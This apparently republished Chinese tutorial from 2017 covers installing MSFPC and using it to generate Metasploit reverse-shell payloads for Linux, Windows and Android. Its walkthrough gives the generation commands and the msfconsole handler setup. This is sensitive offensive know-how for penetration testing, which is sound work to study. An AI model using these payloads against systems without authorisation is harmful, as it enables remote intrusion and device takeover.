专栏名称: 黑白之道
黑白之道,普及网络安全知识!
目录
相关文章推荐
嘶吼专业版  ·  zkLend 在加密货币盗窃案中损失 ... ·  昨天  
智在点滴  ·  清华大学 DeepSeek ... ·  昨天  
智在点滴  ·  清华大学 DeepSeek ... ·  昨天  
广东省广播电视局官方发布  ·  速看!广电网络积极接入DeepSeek,“智 ... ·  3 天前  
广东省广播电视局官方发布  ·  速看!广电网络积极接入DeepSeek,“智 ... ·  3 天前  
兵团零距离  ·  网传5G比4G辐射更强,对人体危害很大?谣言! ·  3 天前  
兵团零距离  ·  网传5G比4G辐射更强,对人体危害很大?谣言! ·  3 天前  
51好读  ›  专栏  ›  黑白之道

如何使用MSFPC简化生成Payload的过程

黑白之道  · 公众号  · 互联网安全  · 2017-11-16 10:27

正文


一般来说,生成payload的默认工具是MSFvenom,这是一个独立于Metasploit的payload生成器及编码器。虽然它是一个非常强大的payload生成神器,但是对于一些新手来说,可能难以在短时间内熟悉其操作。即使在进行最初的了解之后,生成一个基本的payload也需要输入相当多的内容,而今天,我们将看到使用MSFPC更便捷地生成paylaod。


MSFPC,或者说是MSFvenom Payload生成器,其实是一个基于MSFvenom的Payload生成器,但是它旨在简化基本的有效载荷创建过程,用户使用MSFPC可以尽可能简单地创建Payload,有时甚至只需要一个参数!如果你以前使用过MSFvenom,那么可能已经自行编写了一个简单的shell脚本来自动化频繁地生成Payload。即使这样,这个工具也绝对值得一试。


第一步:安装MSFPC


首先,我们需要先行安装MSFPC,步骤会因为操作系统的差别而有所不同。


第一种:在Kali Linux上安装


如果你想要在Kali Linux上安装MSFPC,那么可能会十分简单,因为它已经包含在了Kali工具库中。如果没有,那么就使用apt安装,如下所示:


apt install msfpc


第二种:在一般的Linux上安装


对于没有这个软件包的Linux和Unix版本,只需要在终端从github进行克隆就好了:


 git clone https://github.com/g0tmi1k/mpc;

        cd mpc



一旦成功克隆,就可以将其复制到一个目录中了,对于脚本本身,可以选择/usr/bin。



我个人不喜欢搞乱/usr/bin,把他们放在自己的目录中方便时刻跟踪我编译的或者是从github上获取的工具,当然了,这些都取决于你自己。


为所有用户安装


为了可以放在/usr/bin中,先切换到你的mpc目录,然后使用终端改变脚本权限,如下所示:


cd /path/to/mpc //mpc的目录
sudo chown root:root msfpc.sh
sudo chmod 755 msfpc.sh
sudo cp msfpc.sh /usr/bin


这组命令意思是将脚本的所有者和组都更改为root,然后使用chmod命令将文件权限配置为755,最后,将脚本移动到/usr/bin中。



为特定用户安装


要安装到主目录中的pentest文件夹,你需要打开你的终端并输入以下内容开始该过程:


mkdir ~/pentest
cd /path/to/mpc
chmod 700 msfpc.sh
cp msfpc.sh ~/pentest


你可能已经有一个pentest目录。如果是这样的话,就没有必要再创建一个新的。 chmod命令将脚本的权限更改为RWX ——。然后我们将它复制到pentest目录中。



这还没完,因为这个目录不是我们路径的一部分,为了解决这个问题,我们需要编辑我们主目录中的.bashrc。我一直在用Vim,当然你可以使用任何喜欢的编辑器(leafpad),你需要键入以下内容:


vim ~/.bashrc


一旦你开始编辑了,使用以下命令将pentest目录添加到路径变量中:


PATH=$PATH:/path/to/my/pentest/directory


你可以省略最后的斜杠。



保存后,使用source和which命令:


source ~/.bashrc
which msfpc.sh



这样一来,MSFPC就完成安装了!


生成一个Linux Payload


现在我们已经在自己选择的系统上安装了该工具,接下来就开始生成Payload。对于我们的第一个Payload,我们将使用msfpc.sh生成一个基本的Linux反向TCP ELF Payload。


对于第一个Payload,我们只需要将一个参数传给MSFPC。


msfpc.sh linux



首先需要注意的是,我只告诉了MSFPC我想生成一个Linux Payload,没有任何其他的信息,所以MSFPC不知道我们想连接的地址,所以它提供了选项。WAN是我的外部IP,lo是本地的,ens33是我的网络接口。


我选择了2(ens33),如果你记不住你的地址,那么这种方式就可以节省你很多时间。CMD那里显示的输出是生成该Payload而执行的完整MSFvenom命令,相当详细,而且你也可以进行核对。


一旦生成了Payload,就可以设置一个Metasploit handler来测试一下了,但是我也不必手动配置这个handler,因为Msfpc.sh会创建一个名字类似于Payload的文件,拓展名为rc。为了启动这个handler,我只需要将文件放到Metasploit中。


sudo msfconsole -q -r '/home/barrow/linux-shell-staged-reverse-tcp-443-elf.rc'


此命令中sudo的原因是因为我只是试图绑定到端口443的普通用户。-q参数告诉msfconsole跳过启动画面,-r告诉msfconsole加载文件。完成后,一旦执行有效载荷,就会回连给我一个反向shell。



生成一个Windwos Payload


对于Windows,我想创建多种不同的Payload。Msfpc.sh允许批量创建Payload,这意味着我可以为特定目标创建所有Payload,以下是命令:


msfpc.sh windows batch ens33


在这个命令中,我告诉msfpc.sh使用我的IP创建所有Payload,在生成过程中,可能会出现一些错误,但是最终还是会有一批Windows Payload文件。



生成安卓Payload


我们已经完成了Windows和Linux部分。接下来使用msfpc.sh为Android设备生成一个Payload。对于这个例子,我将生成一个Android反向TCP HTTPS MeterpreterPayload。可以用下面的命令:


msfpc.sh apk HTTPS ens33


该命令将为Android创建一个反向TCP有效载荷,并使用我IP地址通过HTTPS进行通信。



总结


当谈到快速创建基本的Payload时,Msfpc.sh是真的不错。这个脚本的主要缺点是它只能用于生成基本的Payload。而无法生成任何经过编码的,可绕过防病毒的Payload,但这取决于你的目标。很多时候,你只需要快速创建一个Payload,把它放在某个地方,然后每天给它“打电话”。在这种情况下,msfpc.sh真的很棒。


在整篇文章中,我主要介绍了涉及了msfpc.sh的各种选项。但还有很多其他选项可用,你可以使用–help verbose,这样一来,脚本会为你提供完整的帮助文件。帮助文件非常之详细,且易于阅读。







请到「今天看啥」查看全文